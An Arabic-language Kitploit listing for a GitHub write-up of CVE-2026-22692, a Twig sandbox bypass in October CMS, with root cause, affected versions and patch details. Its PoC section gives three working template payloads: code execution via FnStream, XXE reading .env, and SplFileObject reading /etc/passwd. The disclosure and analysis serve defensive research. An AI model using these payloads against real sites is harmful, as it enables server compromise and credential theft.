Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-22692 — CVE-2026-22692 - تجاوز حرج لصندوق حماية Twig عبر collect()->mapInto() يسمح بـ RCE/LFI/XXE في October CMS | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2026-22692
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - تجاوز حرج لصندوق حماية Twig عبر collect()->mapInto() يسمح بـ RCE/LFI/XXE في October CMS

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-22692: تجاوز خطير لحماية Twig Sandbox عبر collect()->mapInto() يتيح RCE/LFI/XXE (October CMS)

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-22692
الخطورةمتوسطة (CVSS:3.1 4.9)
الإعلان الأمنيGHSA-m5qg-jc75-4jp6
المنتج المتأثرOctober CMS (<= 4.1.4, <= 3.7.12)
نوع الثغرةتجاوز Twig Sandbox -> RCE, LFI, XXE
اكتشفهاLukasz Rybak

تصنيف CWE

  • CWE-693: فشل آلية الحماية
  • CWE-611: تقييد غير صحيح لمرجع الكيان الخارجي XML
  • CWE-74: تحييد غير صحيح للعناصر الخاصة في المخرجات المستخدمة بواسطة مكوّن سفلي ('حقن')

الملخص

توجد ثغرة حرجة في بيئة Twig sandbox في October CMS (الوضع الآمن Safe Mode) تتيح للمستخدمين المصادَق عليهم الذين يتمتعون بصلاحيات تحرير القوالب تجاوز القيود الأمنية وتنفيذ كود PHP تعسفي (RCE) أو قراءة ملفات تعسفية من الخادم (XXE/LFI).

التفاصيل

السبب الجذري

يقع السبب الجذري في October\Rain\Support\SafeCollection. تنفّذ هذه الفئة واجهة CallsAnyMethod، التي توجّه System\Twig\SecurityPolicy إلى تجاوز قائمة السماح القياسية للأساليب بالنسبة لكائن المجموعة نفسه.

في حين يحاول SafeCollection تصفية الوسائط لمنع التنفيذ المباشر للكيانات القابلة للاستدعاء، فإنه لا يحظر أسلوب mapInto($class). يتكرر أسلوب mapInto عبر المجموعة وينشئ مثيلًا لاسم الفئة المقدَّم:

root@kitploit:~
new $class($value, $key);

يتيح هذا للمهاجم إنشاء أي فئة معروفة للتطبيق.

الثغرة 1: RCE (تنفيذ الدوال)

تدرج System\Twig\SecurityPolicy صراحةً أسلوب __toString() في قائمة السماح على جميع الكائنات. من خلال إنشاء مثيل من Psy\Readline\Hoa\Xcallable (الذي يغلّف كيانًا قابلًا للاستدعاء) وتغليفه داخل GuzzleHttp\Psr7\FnStream (الذي يستدعي دالة معرّفة من قبل المستخدم في أسلوب __toString عبر الخاصية _fn___toString)، يمكن للمهاجم تشغيل دوال PHP تعسفية لا تتطلب وسائط (مثل php_uname وphpinfo) بمجرد طباعة الكائن في Twig.

الثغرة 2: XXE (قراءة ملفات تعسفية)

تقبل فئة SimpleXMLElement علم خيارات libxml كوسيطة ثانية لمنشئها. يمرر mapInto() مفتاح المجموعة كوسيطة ثانية إلى المنشئ. من خلال إنشاء مجموعة بمفتاح قيمته 2 (وهو ما يقابل LIBXML_NOENT)، يمكن للمهاجم تفعيل استبدال الكيانات الخارجية في SimpleXMLElement، مما يؤدي إلى XXE فوري والقدرة على قراءة ملفات النظام.

الثغرة 3: LFI (قراءة ملفات تعسفية عبر SplFileObject)

توجد ثغرة تضمين ملفات محلية (LFI) أكثر مباشرة باستخدام فئة PHP الأصلية SplFileObject. من خلال إنشاء مثيل من SplFileObject بمسار ملف ووضع قراءة (يُمرَّران عبر mapInto)، يحصل المهاجم على كائن ملف قابل للتكرار. يؤدي تمرير هذا الكائن إلى المساعد collect() إلى تكرار فوري (عبر iterator_to_array داخل نواة الإطار)، وهو ما يتجاوز سياسة حظر الأساليب في Sandbox. يتيح ذلك قراءة أي ملف يمكن لخادم الويب الوصول إليه، دون الحاجة إلى دعم XML أو مكتبات معينة من جهات خارجية.

إثبات المفهوم (PoC)

المتطلبات الأساسية

  • وصول مصادَق إلى الواجهة الخلفية (Backend) لـ October CMS (أو أي ميزة تسمح بتحرير قوالب Twig)
  • CMS_SAFE_MODE=true

الحمولة 1: RCE (تنفيذ php_uname)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

الحمولة 2: XXE (قراءة ملف .env)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

الحمولة 3: LFI (قراءة /etc/passwd عبر SplFileObject)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

التأثير

تنفيذ الأوامر عن بُعد (RCE)، تضمين الملفات المحلية (LFI)، حقن الكيانات الخارجية XML (XXE).

  • RCE: يتيح تنفيذ كود PHP (مقتصر على الدوال التي لا تتطلب وسائط باستخدام أداة FnStream (gadget)، لكنه قد يكون قابلًا للتوسيع بأدوات أخرى).
  • LFI / XXE: يتيح قراءة أي ملف في نظام ملفات الخادم يمكن لمستخدم الويب الوصول إليه (بما في ذلك /etc/passwd، إعدادات قاعدة البيانات، .env، وغيرها) عبر نواقل متعددة (SimpleXMLElement أو SplFileObject).

يؤثر هذا على أي تثبيت لـ October CMS حيث يمكن للمستخدمين غير الموثوقين أو شبه الموثوقين الوصول إلى محرر قوالب CMS، مما يتيح لهم فعليًا تصعيد الصلاحيات إلى مستوى مسؤول النظام / الجذر (Root).

المنتجات المتأثرة

  • الحزمة: octobercms/october (Packagist)
  • الإصدارات المتأثرة: <= 4.1.4, <= 3.7.12
  • تم التصحيح في: 4.1.5, 3.7.13

المراجع

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

إخلاء المسؤولية

تم الإفصاح عن هذا CVE بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة